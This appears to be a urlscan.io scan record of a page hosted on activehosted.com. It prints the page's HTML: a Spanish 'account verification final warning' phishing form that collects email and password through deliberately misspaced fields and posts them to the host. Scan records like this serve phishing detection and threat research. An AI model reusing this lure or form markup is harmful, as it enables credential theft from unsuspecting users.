bjeramie21444487.activehosted.com Open in urlscan Pro
2606:4700::6811:586d  Public Scan

URL: https://bjeramie21444487.activehosted.com/f/4
Submission: On April 24 via api from AR — Scanned from DE

Form analysis 1 forms found in the DOM

POST https://bjeramie21444487.activehosted.com/proc.php

<form method="POST" action="https://bjeramie21444487.activehosted.com/proc.php" id="_form_4_" class="_form _form_4 _inline-form  _dark" novalidate="">
  <input type="hidden" name="u" value="4" data-name="u">
  <input type="hidden" name="f" value="4" data-name="f">
  <input type="hidden" name="s" data-name="s">
  <input type="hidden" name="c" value="0" data-name="c">
  <input type="hidden" name="m" value="0" data-name="m">
  <input type="hidden" name="act" value="sub" data-name="act">
  <input type="hidden" name="v" value="2" data-name="v">
  <input type="hidden" name="or" value="ac5c1a0e40faa818d90a3eeb83f088f4" data-name="or">
  <div class="_form-content">
    <div class="_form_element _x30057239 _full_width _clear">
      <img class="_form-image" src="//content.app-us1.com/B2Wqx/2023/04/24/7dff8de7-6230-4dfd-bab5-b24b1ddb3816.png" style="height:78px;width:163px">
    </div>
    <div class="_form_element _x48286377 _full_width _clear">
      <div class="_form-title"> Advertencia final sobre la verificación de su cuenta </div>
    </div>
    <div class="_form_element _x96275228 _full_width _clear">
      <div class="_html-code">
      </div>
    </div>
    <div class="_form_element _x98744792 _full_width ">
      <label for="email" class="_form-label">
      </label>
      <div class="_field-wrapper">
        <input type="text" id="email" name="email" placeholder="E- mail." required="" data-name="email">
      </div>
    </div>
    <div class="_form_element _x04420630 _full_width ">
      <label for="field[3]" class="_form-label">
      </label>
      <div class="_field-wrapper">
        <input type="text" id="field[3]" name="field[3]" value="" placeholder="C ontraseña" required="" data-name="c_ontrasea">
      </div>
    </div>
    <div class="_button-wrapper _full_width">
      <button id="_form_4_submit" class="_submit" type="submit"> Sign In </button>
    </div>
    <div class="_clear-element">
    </div>
  </div>
  <div class="_form-thank-you" style="display:none;">
  </div>
</form>

Text Content

Advertencia final sobre la verificación de su cuenta



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